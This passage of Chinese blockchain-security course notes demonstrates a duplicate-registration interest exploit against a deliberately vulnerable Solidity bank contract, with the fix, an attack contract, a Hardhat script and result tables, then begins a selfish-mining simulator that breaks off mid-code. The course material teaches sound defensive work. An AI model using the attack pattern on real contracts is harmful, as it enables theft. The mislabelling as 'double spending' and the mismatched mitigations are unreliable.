blockchain-council(CBSP)-7.区块链漏洞攻击
区块链漏洞攻击
一、双重支付攻击
PoE(漏洞利用证明)
- 双重支付攻击是一种至关重要的区块链漏洞,它允许被称为攻击者的恶意行为者多次花费相同的数字资产或加密货币。
- 此PoE的目的在于展示双重支付攻击漏洞在区块链系统中的影响与风险。
- 双重支付的发生可能是由于存在缺陷的智能合约设计或不正确的实施。检测与双重支付相关的漏洞通常可能具有挑战性。
影响评估
一次成功的双重支付攻击可能会造成严重后果,包括:
- 接受欺诈性交易的商家遭受经济损失。
- 区块链网络及其完整性的信任遭到破坏。
- 依赖区块链技术的支付系统和经济活动受到disruption (扰乱)。
重现漏洞的步骤
重现双重支付漏洞(作为此特定漏洞利用证明概念的一部分)所需的步骤如下:
- 我们将建立一个Hardhat区块链网络。
- 我们还将建立一个链上银行系统,该系统将在用户提款时,对ETH存款产生5%的收益。
- 为了利用该链上银行系统,我们将部署一种攻击,该攻击将双重注册攻击者的地址,比如说20次,方法是首先存入一个ETH,然后模拟该操作20次以上。
测试环境
用于测试 PoE 的平台和工具如下:
- 区块链: 使用Hardhat设置本地区块链平台。
链上银行系统: 实施和创建两个智能合约
- 原始银行: 容易受到双重支付漏洞攻击(对双重支付漏洞缺乏防御)
- 安全银行: 原始银行的改进版本。 这是通过重新设计新的存款验证及其注册状态来实现的,从而不再允许双重支付漏洞。 我们稍后会查看代码。
攻击: 创建和部署以下智能合约
- 攻击: 攻击链上银行系统并囊括双倍收益。 这将是攻击智能合约。
代码示例
代码PrimitiveBank.sol
,首先我们将建立一个简单的链上银行系统,称为PrimitiveBank
.
depositBankFunds,首先我们必须确保将一个eth转入银行资金,然后它将开始接受存款。withdraw提款后,收益率为5%,收益率是通过利用称为应用利息的函数来实现的,applyInterest这个特殊的代码有一个内置的双重支付漏洞还有一些其他问题也于Sybil攻击有关。代码中的这些问题也导致了Sybil攻击(userBalances[user] = balance (100 + INTEREST_RATE) / 100;)。然而作为演示的内容,我们将更多的关注双重支付,这主要于我们如何处理用户的存款注册(userAddresses.push(msg.sender);)。以及如何实现应用利息有关((userBalances[user] = balance (100 + INTEREST_RATE) / 100;))。
//SPDX-License-Identifier: UNLICENSED
// Solidity files have to start with this pragma.
// It will be used by the Solidity compiler to validate its version.
//pragma solidity ^0.8.0;
pragma solidity 0.8.20;
contract PrimitiveBank {
uint256 public constant INTEREST_RATE = 5; // 5% interest
mapping (address => uint256) private userBalances;
address[] private userAddresses;
address public immutable owner;
constructor() {
owner = msg.sender;
}
modifier onlyOwner() {
require(owner == msg.sender, "You are not the owner");
_;
}
function depositBankFunds() external payable onlyOwner {
require(msg.value > 0, "Require some funds");
}
function deposit() external payable {
require(msg.value > 0, "Require some funds");
// Register new user
if (userBalances[msg.sender] == 0) {
userAddresses.push(msg.sender);
}
userBalances[msg.sender] += msg.value;
}
function withdraw(uint256 _withdrawAmount) external {
require(userBalances[msg.sender] >= _withdrawAmount, "Insufficient balance");
userBalances[msg.sender] -= _withdrawAmount;
(bool success, ) = msg.sender.call{value: _withdrawAmount}("");
require(success, "Failed to send Ether");
}
// There is a denial-of-service issue on the applyInterest() function,
// but it is not the scope of this example though
function applyInterest() external onlyOwner returns (uint256 minBankBalanceRequired_) {
for (uint256 i = 0; i < userAddresses.length; i++) {
address user = userAddresses[i];
uint256 balance = userBalances[user];
// Update user's compound interest
userBalances[user] = balance * (100 + INTEREST_RATE) / 100;
// Calculate the minimum bank balance required to pay for each user
minBankBalanceRequired_ += userBalances[user];
}
}
function getBankBalance() external view returns (uint256) {
return address(this).balance;
}
function getUserBalance(address _user) external view returns (uint256) {
return userBalances[_user];
}
}
secureBank.sol
现在,这个特俗的问题已经被称为secureBank
的智能合约解决了,其中我们重新修改实现或者修改了存款功能(11行代码SecureBank),其中我们重新实现或修改了存款功能,以确保我们有效的处理用户注册过程(42-47行代码)。同时我们还确保应用兴趣中固有的潜在拒绝服务也得到解决(64行)。
//SPDX-License-Identifier: UNLICENSED
// Solidity files have to start with this pragma.
// It will be used by the Solidity compiler to validate its version.
//pragma solidity ^0.8.0;
pragma solidity 0.8.20;
// This contract still has a denial-of-service issue, but it is not the scope of
// this example though. Therefore, please do not use this contract code in production
contract SecureBank {
uint256 public constant INTEREST_RATE = 5; // 5% interest
struct Account {
bool registered; // FIX: Use the 'registered' attribute to keep track of every registered account
uint256 balance;
}
mapping (address => Account) private userAccounts;
address[] private userAddresses;
address public immutable owner;
constructor() {
owner = msg.sender;
}
modifier onlyOwner() {
require(owner == msg.sender, "You are not the owner");
_;
}
function depositBankFunds() external payable onlyOwner {
require(msg.value > 0, "Require some funds");
}
function deposit() external payable {
require(msg.value > 0, "Require some funds");
// FIX: Use the 'registered' attribute to keep track of every registered account
if (!userAccounts[msg.sender].registered) {
// Register new user
userAddresses.push(msg.sender);
userAccounts[msg.sender].registered = true;
}
userAccounts[msg.sender].balance += msg.value;
}
function withdraw(uint256 _withdrawAmount) external {
require(userAccounts[msg.sender].balance >= _withdrawAmount, "Insufficient balance");
userAccounts[msg.sender].balance -= _withdrawAmount;
(bool success, ) = msg.sender.call{value: _withdrawAmount}("");
require(success, "Failed to send Ether");
}
// There is a denial-of-service issue on the applyInterest() function,
// but it is not the scope of this example though
function applyInterest() external onlyOwner returns (uint256 minBankBalanceRequired_) {
for (uint256 i = 0; i < userAddresses.length; i++) {
address user = userAddresses[i];
uint256 balance = userAccounts[user].balance;
// Update user's compound interest
userAccounts[user].balance = balance * (100 + INTEREST_RATE) / 100;
// Calculate the minimum bank balance required to pay for each user
minBankBalanceRequired_ += userAccounts[user].balance;
}
}
function getBankBalance() external view returns (uint256) {
return address(this).balance;
}
function getUserBalance(address _user) external view returns (uint256) {
return userAccounts[_user].balance;
}
}
Attack.sol
为了启动双重支付攻击,我们实现一个attack 合约,该合约也将刷新到一个接口(9行)在该接口中我们将有一个INaive银行,这基本上时一个天真的银行,它将具有存款和取款的功能,只是为了实现的角度。(24行)这种特殊的攻击将需要一个ETH来开始攻击,并且一个ETH将被存入INaive银行,然后该过程将继续并收集它。
//SPDX-License-Identifier: UNLICENSED
// Solidity files have to start with this pragma.
// It will be used by the Solidity compiler to validate its version.
//pragma solidity ^0.8.0;
pragma solidity 0.8.20;
interface INaiveBank {
function deposit() external payable;
function withdraw(uint256 _withdrawAmount) external;
}
contract Attack {
INaiveBank public immutable naiveBank;
constructor(INaiveBank _naiveBank) {
naiveBank = _naiveBank;
}
receive() external payable {
}
function attack(uint256 _xTimes) external payable {
require(msg.value == 1 ether, "Require 1 Ether to attack");
for (uint256 i = 0; i < _xTimes - 1; i++) {
// Do a double spending
naiveBank.deposit{value: msg.value}();
naiveBank.withdraw(msg.value);
}
// Do a final deposit and wait for the BIG PROFIT!!!
naiveBank.deposit{value: msg.value}();
}
}
deploy.js
整个双重支付攻击演示的编排将由我们的deploy.js脚本负责,该脚本是hardhat的部署脚本。
首先,我们将部署所有的智能合约(16行)。(21行)我们还将部署攻击银行智能合约,作为该过程的一部分,我们将设置用户(27行),这将是与银行合作的人,我们将通过攻击智能合约模拟多种攻击(41行)。(49-52行)我们将设置攻击地址的20次迭代,这基本上是攻击者发起攻击的智能合约。(52行)我们将使用用户和攻击者来部署他,我们将捕获攻击前后的余额信息。同时,我们也将对securebank智能合约执行相同的攻击。(83行)我们将部署securebank智能合约并利用相同的过程进行攻击,其中我们将在该特定帐户上设置20次迭代或设置20次攻击(107行)。
//npx hardhat run scripts/DS_attack.js
const { ethers } = require("hardhat");
//const hre = require("hardhat");
var DEBUG = false;
debug = function(msg,priority=0) {
if(DEBUG || priority==1){
console.log(msg);
}
}
async function main() {
// Deploy PrimitiveBank and Attack contracts
const [deployer] = await ethers.getSigners();
const PrimitiveBankContract = await ethers.getContractFactory("PrimitiveBank");
const PrimitiveBank = await PrimitiveBankContract.deploy();
//await PrimitiveBank.deployed();
debug("PrimitiveBank.address:", PrimitiveBank.target);
const Attack = await ethers.getContractFactory("Attack");
const attack = await Attack.deploy(PrimitiveBank.target);
//await attack.deployed();
debug("attack.address:", attack.target);
// Perform contract interactions
debug("Register user[0]:", deployer.address);
//await PrimitiveBank.connect(deployer).registerUser();
debug("**** Before the attack deposit ****");
debug("PrimitiveBank.getBankBalance():", await PrimitiveBank.getBankBalance());
debug("PrimitiveBank.getUserBalance(deployer):", await PrimitiveBank.getUserBalance(deployer.address));
debug("PrimitiveBank.getUserBalance(attack):", await PrimitiveBank.getUserBalance(attack.target));
await PrimitiveBank.connect(deployer).deposit({ value: ethers.parseEther("1") });
debug("User0 deposited 1 Ether");
debug("**** Before the attack initiation **** ");
const bef_PrimitiveBankBalance = await PrimitiveBank.getBankBalance();
const bef_UserBalance = await PrimitiveBank.getUserBalance(deployer.address);
const bef_AttackBalance = await PrimitiveBank.getUserBalance(attack.target);
debug("PrimitiveBank.getBankBalance():", await PrimitiveBank.getBankBalance());
debug("PrimitiveBank.getUserBalance(deployer):", await PrimitiveBank.getUserBalance(deployer.address));
debug("PrimitiveBank.getUserBalance(attack):", await PrimitiveBank.getUserBalance(attack.target));
debug("**** Perform the 20-time double spending attack by depositing 1 Ether **** ");
await attack.connect(deployer).attack(20, { value: ethers.parseEther("1") });
// Display all 20 attacker bank accounts
for (let i = 0; i < 20; i++) {
const attackerAddress = attack.target;
debug(`Register attack[${i + 1}] : Address: ${attackerAddress}`);
}
// Bank's admin calculates users' compound interests
debug("**** Bank's admin calculates users' compound interests ****");
await PrimitiveBank.connect(deployer).applyInterest();
//debug("userAddresses.length:", await PrimitiveBank.getUserAddressesCount());
//Display the Deployer bank account
debug(`Deployer : Address: ${deployer.address}`);
// Display all 20 attacker bank accounts
for (let i = 0; i < 20; i++) {
const attackerAddress = attack.target;
debug(`attack[${i + 1}] : Address: ${attackerAddress}`);
}
debug("**** After the attack **** ");
const aft_PrimitiveBankBalance = await PrimitiveBank.getBankBalance();
const aft_UserBalance = await PrimitiveBank.getUserBalance(deployer.address);
const aft_AttackBalance = await PrimitiveBank.getUserBalance(attack.target);
debug("PrimitiveBank.getBankBalance():", await PrimitiveBank.getBankBalance());
debug("PrimitiveBank.getUserBalance(deployer):", await PrimitiveBank.getUserBalance(deployer.address));
debug("PrimitiveBank.getUserBalance(attack):", await PrimitiveBank.getUserBalance(attack.target));
/*
const bef_PrimitiveBankBalance = await PrimitiveBank.getBankBalance();
const bef_UserBalance = await PrimitiveBank.getUserBalance(deployer.address);
const bef_AttackBalance = await PrimitiveBank.getUserBalance(attack.target);
*/
const SecureBank = await hre.ethers.deployContract("SecureBank");
await SecureBank.waitForDeployment(); // Deploy the contract.
debug("SecureBank deployed to:", SecureBank.target);
debug("#### SecureBank #### ")
debug("**** Before the attack deposit ****");
debug("SecureBank.getBankBalance():", await SecureBank.getBankBalance());
debug("SecureBank.getUserBalance(deployer):", await SecureBank.getUserBalance(deployer.address));
debug("SecureBank.getUserBalance(attack):", await SecureBank.getUserBalance(attack.target));
await SecureBank.connect(deployer).deposit({ value: ethers.parseEther("1") });
debug("User0 deposited 1 Ether");
debug("**** Before the attack initiation **** ");
const bef_SecureBankBalance = await SecureBank.getBankBalance();
const bef_SUserBalance = await SecureBank.getUserBalance(deployer.address);
const bef_SAttackBalance = await SecureBank.getUserBalance(attack.target);
debug("SecureBank.getBankBalance():", await SecureBank.getBankBalance());
debug("SecureBank.getUserBalance(deployer):", await SecureBank.getUserBalance(deployer.address));
debug("SecureBank.getUserBalance(attack):", await SecureBank.getUserBalance(attack.target));
debug("**** Perform the 20-time double spending attack by depositing 1 Ether **** ");
await attack.connect(deployer).attack(20, { value: ethers.parseEther("1") });
// Display all 20 attacker bank accounts
for (let i = 0; i < 20; i++) {
const attackerAddress = attack.target;
debug(`Register attack[${i + 1}] : Address: ${attackerAddress}`);
}
// Bank's admin calculates users' compound interests
debug("**** Bank's admin calculates users' compound interests ****");
await SecureBank.connect(deployer).applyInterest();
//debug("userAddresses.length:", await SecureBank.getUserAddressesCount());
//Display the Deployer bank account
debug(`Deployer : Address: ${deployer.address}`);
// Display all 20 attacker bank accounts
for (let i = 0; i < 20; i++) {
const attackerAddress = attack.target;
debug(`attack[${i + 1}] : Address: ${attackerAddress}`);
}
debug("**** After the attack **** ");
const aft_SecureBankBalance = await SecureBank.getBankBalance();
const aft_SUserBalance = await SecureBank.getUserBalance(deployer.address);
const aft_SAttackBalance = await SecureBank.getUserBalance(attack.target);
debug("SecureBank.getBankBalance():", await SecureBank.getBankBalance());
debug("SecureBank.getUserBalance(deployer):", await SecureBank.getUserBalance(deployer.address));
debug("SecureBank.getUserBalance(attack):", await SecureBank.getUserBalance(attack.target));
var structDatas = [
{ Entity: 'PrimitiveBank', Address: PrimitiveBank.target, "Balance Before Attack": bef_PrimitiveBankBalance, "Balance After Attack": aft_PrimitiveBankBalance },
{ Entity: '~User', Address: deployer.address, "Balance Before Attack": bef_UserBalance, "Balance After Attack": aft_UserBalance },
{ Entity: 'Attack', Address: attack.target, "Balance Before Attack": bef_AttackBalance, "Balance After Attack": aft_AttackBalance },
];
arrNoIndex = structDatas.reduce((acc, {id, Entity, ...x}) =>
{ acc[Entity] = x; return acc; }, {})
debug ("*** Attacking Primitive Bank ***", 1);
console.table(structDatas);
//console.table(arrNoIndex);
structDatas = [
{ Entity: 'SecureBank', Address: SecureBank.target, "Balance Before Attack": bef_SecureBankBalance, "Balance After Attack": aft_SecureBankBalance },
{ Entity: '~User', Address: deployer.address, "Balance Before Attack": bef_SUserBalance, "Balance After Attack": aft_SUserBalance },
{ Entity: 'Attack', Address: attack.target, "Balance Before Attack": bef_SAttackBalance, "Balance After Attack": aft_SAttackBalance },
];
arrNoIndex = structDatas.reduce((acc, {id, Entity, ...x}) =>
{ acc[Entity] = x; return acc; }, {})
debug ("*** Attacking Secure Bank ***", 1);
console.table(structDatas);
//console.table(arrNoIndex);
}
main()
.then(() => process.exit(0))
.catch((error) => {
console.error(error);
process.exit(1);
});
接下来,让我们在本地hardhat实例上部署脚本。
第一个表格:攻击PrimitiveBank(有漏洞的银行)
PrimitiveBank
角色:- 攻击前余额:1 ETH (1000000000000000000 wei)
- 攻击后余额:2 ETH (2000000000000000000 wei)
- 解释:银行总余额增加了1 ETH,这是因为攻击者在最后一步存入了1 ETH
用户(~User)
:- 攻击前余额:1 ETH
- 攻击后余额:1.05 ETH (1050000000000000000 wei)
- 解释:用户的余额增加了0.05 ETH (5%),这是正常的利息计算
攻击合约(Attack)
:- 攻击前余额:0 ETH
- 攻击后余额:约2.65 ETH (2653297705144420126 wei)
- 解释:这是攻击的关键结果! 攻击者只存入了1 ETH,但却获得了约2.65 ETH的余额记录,相当于额外获得了约1.65 ETH的利息
第二个表格:攻击SecureBank(修复漏洞的银行)
SecureBank
:- 攻击前余额:1 ETH
- 攻击后余额:1 ETH (没有变化)
- 解释:银行总余额没有变化,因为攻击者的存款和取款操作抵消了
用户(~User)
:- 攻击前余额:1 ETH
- 攻击后余额:1.05 ETH
- 解释:用户的余额增加了0.05 ETH (5%),这是正常的利息计算
攻击合约(Attack)
:- 攻击前余额:0 ETH
- 攻击后余额:0 ETH (没有变化)
- 解释:攻击失败了! 攻击者没有获得任何额外的利息
对比分析:
PrimitiveBank (有漏洞):
攻击者成功利用了漏洞,将1 ETH的存款变成了约2.65 ETH的账面余额
这意味着攻击者获得了约1.65 ETH的"凭空"利息
这是因为攻击者的地址在userAddresses数组中被重复添加了多次,每次计算利息时都会增加余额
SecureBank (已修复):
同样的攻击方式对修复后的银行完全无效
攻击者的余额保持为0,没有获得任何额外利息
这是因为修复后的代码使用registered标志来跟踪用户是否已注册,防止同一用户被多次添加到用户列表中
攻击过程分解
让我们一步步分析攻击函数的执行过程:
solidityfunction attack(uint256 _xTimes) external payable {
require(msg.value == 1 ether, "Require 1 Ether to attack");
for (uint256 i = 0; i < _xTimes - 1; i++) {
// Do a double spending
naiveBank.deposit{value: msg.value}();
naiveBank.withdraw(msg.value);
}
// Do a final deposit and wait for the BIG PROFIT!!!
naiveBank.deposit{value: msg.value}();
}
在部署脚本中,我们看到攻击者使用了参数 _xTimes = 20
,这意味着攻击循环会执行19次,然后进行最后一次存款。
关键漏洞再次回顾
PrimitiveBank
的关键漏洞在于用户注册逻辑:
// Register new user
if (userBalances[msg.sender] == 0) {
userAddresses.push(msg.sender);
}
每当用户余额从0变为非0时,系统都会将该用户添加到userAddresses
数组中。
攻击步骤详解
- 初始状态
:
- 攻击合约开始时余额为0
- 攻击者准备了1 ETH用于攻击
循环攻击(19次):
第1次循环:
- 存款1 ETH → 攻击合约在银行的余额变为1 ETH
- 系统检测到余额从0变为非0,将攻击合约地址添加到
userAddresses[0]
- 取款1 ETH → 攻击合约在银行的余额变回0 ETH
第2次循环:
- 存款1 ETH → 攻击合约在银行的余额变为1 ETH
- 系统再次检测到余额从0变为非0,将攻击合约地址添加到
userAddresses[1]
- 取款1 ETH → 攻击合约在银行的余额变回0 ETH
- ... (重复17次) ...
第19次循环:
- 存款1 ETH → 攻击合约在银行的余额变为1 ETH
- 系统检测到余额从0变为非0,将攻击合约地址添加到
userAddresses[18]
- 取款1 ETH → 攻击合约在银行的余额变回0 ETH
最后一次存款:
- 存款1 ETH → 攻击合约在银行的余额变为1 ETH
- 系统检测到余额从0变为非0,将攻击合约地址添加到
userAddresses[19]
- 关键点:此时,攻击合约的地址在
userAddresses
数组中出现了20次!
利息计算过程
当银行管理员调用applyInterest()
函数时:
solidityfunction applyInterest() external onlyOwner returns (uint256 minBankBalanceRequired_) {
for (uint256 i = 0; i < userAddresses.length; i++) {
address user = userAddresses[i];
uint256 balance = userBalances[user];
// Update user's compound interest
userBalances[user] = balance * (100 + INTEREST_RATE) / 100;
// Calculate the minimum bank balance required to pay for each user
minBankBalanceRequired_ += userBalances[user];
}
}
系统会遍历userAddresses
数组,为每个地址计算利息。由于攻击合约的地址在数组中出现了20次,所以它的利息会被计算20次!
具体计算过程
假设攻击合约最后存入的余额是1 ETH,利率是5%:
第1次计算利息:
- 余额 = 1 ETH
- 新余额 = 1 ETH * 1.05 = 1.05 ETH
第2次计算利息:
- 余额 = 1.05 ETH
- 新余额 = 1.05 ETH * 1.05 = 1.1025 ETH
第3次计算利息:
- 余额 = 1.1025 ETH
- 新余额 = 1.1025 ETH * 1.05 = 1.157625 ETH
... 以此类推 ...
第20次计算利息:
- 最终余额 ≈ 2.65 ETH
数学公式
这实际上是一个复利计算:
- 初始金额:1 ETH
- 利率:5%
- 复利次数:20次
最终金额 = 1 ETH * (1.05)^20 ≈ 2.65 ETH
这就是为什么攻击者的余额会从1 ETH增长到约2.65 ETH的原因。
漏洞披露
- 这个特定的PoE(漏洞利用证明)已被记录在案,并已披露给区块链开发者、区块链维护者以及任何相关的安全社区,以便所有人都能意识到并理解缓解措施。
缓解策略
为了缓解双重支付攻击漏洞,我们已经实施了一些标准,包括:
- 对于高价值交易,要求多次确认,以降低双重支付的风险。
- 实施具有更强验证机制的共识算法,以检测和阻止双重支付尝试。
- 教育用户和商家了解接受未确认交易的风险,并鼓励交易安全的最佳实践。
经验教训
- 此PoE 突显了强大的安全措施、共识机制和交易验证协议在区块链系统中的至关重要性。
- 它强调了对不断演变的威胁进行持续监控和主动防御的必要性。
结论
- 双重支付攻击漏洞利用证明 强调了 解决区块链系统和智能合约中漏洞的 迫切性,并 强调了 加强区块链安全实践的 协作努力的重要性。
二、自私挖矿
漏洞利用证明 (PoE)
- 自私挖矿PoE漏洞是区块链共识协议中的一个重大缺陷,它允许恶意矿工通过操纵区块传播和确认过程来获得不成比例的奖励。
- 此PoE展示了该漏洞在区块链系统中的影响和风险。
漏洞描述
- 当一群恶意矿工有策略地将挖出的区块从网络中扣留到他们的私有网络中,并选择性地传播区块,以在收入方面获得竞争优势并扰乱挖矿奖励的公平分配时,就会发生自私挖矿。
- 此漏洞利用破坏了区块链共识机制的完整性和公平性。
技术细节
- 自私的矿工会有意延迟将挖出的区块传播到网络,同时继续在他们的私有分叉上进行挖矿。
- 当自私矿工的分叉比公共链更长时,他们会发布被扣留的区块,使诚实矿工所做的工作无效,并获得不成比例的奖励。
- 这种对区块传播和确认的操纵为自私的矿工创造了不公平的优势,损害了区块链网络的安全性与去中心化。
影响评估
自私挖矿漏洞利用可能导致若干不利影响,包括:
- 自私矿工挖矿算力的中心化,破坏区块链网络的去中心化原则。
- 共识协议和网络参与者之间信任的瓦解,导致潜在的分叉和网络不稳定。
- 诚实矿工因自私挖矿攻击而损失奖励和计算资源,造成经济损失。
漏洞证明(PoE)演示
在PoE演示期间:
- 自私的矿工通过策略性地扣留和释放区块来展示对区块传播和奖励获取的操控。他们等待拥有足够的区块,然后释放这些区块以尝试用自己的区块链替换主链。
攻击有两个主要目的:
- 通过浪费诚实节点的资源来破坏网络
- 增加不诚实节点获得的奖励
- 演示展示了自私挖矿如何导致不公平的优势并破坏区块链网络的正常运行。
重现漏洞的步骤
- 自私挖矿就是自私矿工把挖到的区块藏着不发,等其他人找到区块后再发布。
这种做法影响比特币和区块链的去中心化。为了展示这一点,我们用两个主要参数来进行模拟:
- Alpha (α):表示自私矿工的挖矿能力占整个网络的比例。比如,α是0.35就意味着自私矿工占了网络35%的算力。
- Gamma (γ):表示有多少诚实矿工在自私矿工的链上挖矿。γ是0.5就意味着一半的诚实矿工在他们的链上挖矿。
- 我们用一个状态机来模拟自私矿工和诚实矿工之间的差距。这个差距从0(两边差不多)到2(自私矿工遥遥领先)。
自私挖矿就是那些自私的矿工把挖到的区块藏着不发,等到其他人找到区块后再拿出来。这样做是为了影响比特币和区块链的去中心化。我们用两个参数来展示这个过程:一个是α,表示自私矿工占整个网络的算力比例,比如α是0.35就说明他们有35%的算力;另一个是γ,表示有多少诚实矿工在自私矿工的链上挖矿,比如γ是0.5就说明一半的诚实矿工在他们的链上挖矿。我们还用一个状态机来模拟自私矿工和诚实矿工之间的差距,这个差距可以从两边差不多到自私矿工大幅领先。
- Delta通常从0个相等的区块到2个自私矿工轻松领先的区块不等。
- 在“自私挖矿的盈利能力”中详细描述了一种更现实的方法,通过难度调整来引入时间动态,因为更多矿工采用自私策略。孤块增加,导致难度降低和区块验证加快。
- 自私挖矿的盈利门槛取决于α、γ和时间等因素。
- 开发了一个模拟器来模拟这些场景,展示了盈利能力如何随时间和不同条件变化。
- 总体而言,模拟和分析揭示了自私挖矿策略的潜在盈利能力和局限性,强调了需要强大的协议来防止此类攻击。
测试环境
用于测试PoE的配置和脚本如下:
- 模拟需要挖出120000个区块。
Alpha值设为0.35,但可以在0.06到0.48之间(包含)变化,步长为0.02(例如0.06, 0.08, 0.10, ..., 0.48)。
- α为0.35意味着自私矿工获得了整个网络35%的计算能力。1-α则表示诚实矿工的相对挖矿能力。此模拟将采用两种情况的方法。
Gamma值设为0.5,可以是0.25、0.50或0.75。
- 50%*γ(0.5)表示选择在自己分支上挖矿的诚实矿工比例。
- 命令:
python SelfishMining_WithDecreasing.py 120000 0.35 0.5
- 详细信息请参阅模拟统计输出文件
selfish_mining_results.txt
。
一个测试环境的设置,主要是为了模拟自私挖矿的过程。首先,需要模拟挖出120000个区块。然后,设置两个参数:Alpha表示自私矿工的算力比例,通常设为0.35,但可以在0.06到0.48之间调整;Gamma表示选择在自己分支上挖矿的诚实矿工比例,通常设为0.5。最后,使用一个Python命令来运行模拟,并查看结果文件以获取详细信息。
SelfishMining_WithDecreasing.py
import random
import time
import sys
import numpy as np
import collections
"""
Rather than taking 1 iteration for 1 block to be found, let's take 1 iteration each time unit (min)
* Sn0: Time before difficulty adjustement
* Tho0: Theorical average time for a block to be mined => 10 min (Bitcoin protocol)
* n0: Number of blocks to be mined before difficulty adjustment
* B: Correction factor 'miniLambda' : B = Sn0 / (n0*Tho0)
* Difficulty adjustement occurs when 2016 blocks have been mined => normally 2 weeks
* t is the 'break time' or time before profitability for Selfish miners
-> as Selfish miners now decided to invest more ressources than honest miners
-> so that difficulty decreases and they could mine even quicker afterwards
We seek to find t
PnL = R - C
compare PnL for honest vs selfish miners
__nb.simmulations become number of blocks to be mined
but they can be mined in T time
p, q follow exponential distribution probability
"""
class Selfish_Mining:
def __init__(self, **d):
self.__nb_simulations = d['nb_simulations']
self.__delta = 0 # advance of selfish miners on honests'ones
self.__privateChain = 0 # length of private chain RESET at each validation
self.__publicChain = 0 # length of public chain RESET at each validation
self.__honestsValidBlocks = 0
self.__selfishValidBlocks = 0
self.__counter = 1
# Setted Parameters
self.__alpha = d['alpha']
self.__gamma = d['gamma']
# For results
self.__RevenueRatio = None
self.__orphanBlocks = 0
self.__totalValidatedBlocks = 0
# For difficulty adjustment
self.__Tho = 10
self.__n0 = 2016
#self.__breaktime = None
self.__Sn0 = None
self.__B = 1
self.__currentTimestamp = 0
self.__allBlocksMined = []
self.__lastTimestampDAchanged = 0
# Writing down results?
self.__write = d.get('write', True)
# Display to console results?
self.__display = d.get('display', False)
def write_file(self):
stats_result = [self.__alpha, self.__gamma, self.__nb_simulations, self.__currentTimestamp,\
self.__totalValidatedBlocks, self.__honestsValidBlocks, self.__selfishValidBlocks,\
self.__counter, self.__alpha*self.__currentTimestamp/10]
if self.__Sn0 is not None:
stats_result.extend([self.__Sn0, 20160*100/self.__Sn0])
#stats_result.extend([self.__TimeRevenueSM, self.__TimeRevenueHM, self.__TimeRevenueSMifHM,\
# self.__Sn0, 20160*100/self.__Sn0])
else:
#stats_result.extend(['NA', 'NA', 'NA', 'NA', 'NA'])
stats_result.extend(['NA', 'NA'])
with open('selfish_mining_results.txt', 'a', encoding='utf-8') as f:
f.write(','.join([str(x) for x in stats_result]) + '\n')
def Simulate(self):
# Time to FIND a block : lambda is the rate so alpha => for each 10 min
# Simulting all times where blocks have been found since starting t=0
# \\considering extreme case where all blocks have been found by one party
# *10 for minutes units | or without for 10 min units
SepBlocksEach2016 = [2016 for x in range(0, self.__nb_simulations//2016)] + [self.__nb_simulations%2016]
for i in range(0, len(SepBlocksEach2016)):
TimesBlocksFoundSM = map(lambda x: x+self.__currentTimestamp, list(np.cumsum(np.random.exponential(1/(self.__alpha)*10/self.__B, SepBlocksEach2016[i]))))
TimesBlocksFoundHM = map(lambda x: x+self.__currentTimestamp, list(np.cumsum(np.random.exponential(1/(1-self.__alpha)*10/self.__B, SepBlocksEach2016[i]))))
# marking HM/SM found blocks and times, merging them together and ordering by timestamps
TimesBlocksFoundSM = {x:'SM' for x in TimesBlocksFoundSM}
TimesBlocksFoundHM = {x:'HM' for x in TimesBlocksFoundHM}
TimesAllBLocks = {**TimesBlocksFoundSM, **TimesBlocksFoundHM}
TimesAllBLocks = collections.OrderedDict(sorted(TimesAllBLocks.items()))
# This is the time (by 10min unit) when the 2016th block has been found
# Takes the number of total blocks found ( <=> self.__nb_simulations)
TimesAllBLocks = list(TimesAllBLocks.items())
#TimesAllBLocks = [(a,b) for (a,b) in zip(TimesAllBLocks, range(1,self.__nb_simulations+1))]
TimesAllBLocks = [(a,b) for (a,b) in zip(TimesAllBLocks, range(0,SepBlocksEach2016[i]*2))]
for ((currentTimestamp, who), block_number) in TimesAllBLocks:
## Case when the simulation ended (nb of blocks exceeded actual nb of blocks to mine)
if self.__counter > self.__nb_simulations:
break
self.__counter += 1
self.__currentTimestamp = currentTimestamp
if who == 'SM':
self.On_Selfish_Miners() # found by Selfish Miners
else:
self.On_Honest_Miners() # found by Honest Miners
## to minimize file size, just write block validations by group of 100
if self.__write and self.__totalValidatedBlocks % 200 == 0:
self.write_file()
# NOT REALLY ALL VALIDATED BLOCK BUT ALSO ALL MINED BLOCK THAT DIDN'T LEAD TO VALIDATION UNTIL
# VALIDATION OCCURS
#self.__allBlocksMined.append((currentTimestamp, who, block_number))
## Case when totalValidated blocks exceed 2016 in number and difficulty changes
if self.__totalValidatedBlocks // ((i+1)*2016) > 0:
self.actualize_results(ChangeDifficulty=True)
break
# Publishing private chain if not empty when total nb of simulations reached
self.__delta = self.__privateChain - self.__publicChain
if self.__delta > 0:
self.__selfishValidBlocks += self.__privateChain
self.__publicChain, self.__privateChain = 0,0
self.actualize_results()
if self.__display:
print(self)
#print(self.__allBlocksMined)
def On_Selfish_Miners(self):
self.__delta = self.__privateChain - self.__publicChain
self.__privateChain += 1
if self.__delta == 0 and self.__privateChain == 2:
self.__privateChain, self.__publicChain = 0,0
self.__selfishValidBlocks += 2
# Publishing private chain reset both public and private chains lengths to 0
self.actualize_results()
def On_Honest_Miners(self):
self.__delta = self.__privateChain - self.__publicChain
self.__publicChain += 1
if self.__delta == 0:
# if 1 block is found => 1 block validated as honest miners take advance
self.__honestsValidBlocks += 1
# If there is a competition though (1-1) considering gamma,
# (Reminder: gamma = ratio of honest miners who choose to mine on pool's block)
# --> either it appends the private chain => 1 block for each competitor in RevenueRatio
# --> either it appends the honnest chain => 2 blocks for honnest miners (1 more then)
s = random.uniform(0, 1)
if self.__privateChain > 0 and s <= float(self.__gamma):
self.__selfishValidBlocks += 1
elif self.__privateChain > 0 and s > float(self.__gamma):
self.__honestsValidBlocks += 1
#in all cases (append private or public chain) all is reset to 0
self.__privateChain, self.__publicChain = 0,0
elif self.__delta == 2:
self.__selfishValidBlocks += self.__privateChain
self.__publicChain, self.__privateChain = 0,0
self.actualize_results()
def actualize_results(self, ChangeDifficulty=False):
# Total Blocks Mined
self.__totalValidatedBlocks = self.__honestsValidBlocks + self.__selfishValidBlocks
# Orphan Blocks
self.__orphanBlocks = self.__nb_simulations - self.__totalValidatedBlocks
# Revenue
if self.__honestsValidBlocks or self.__selfishValidBlocks:
self.__RevenueRatio = 100*round(self.__selfishValidBlocks/(self.__totalValidatedBlocks),3)
# B needs to be not be set back to 1, otherwise it will regenerate the first case
# B needs to be constant even after the correction
if ChangeDifficulty:
self.__Sn0 = self.__currentTimestamp - self.__lastTimestampDAchanged
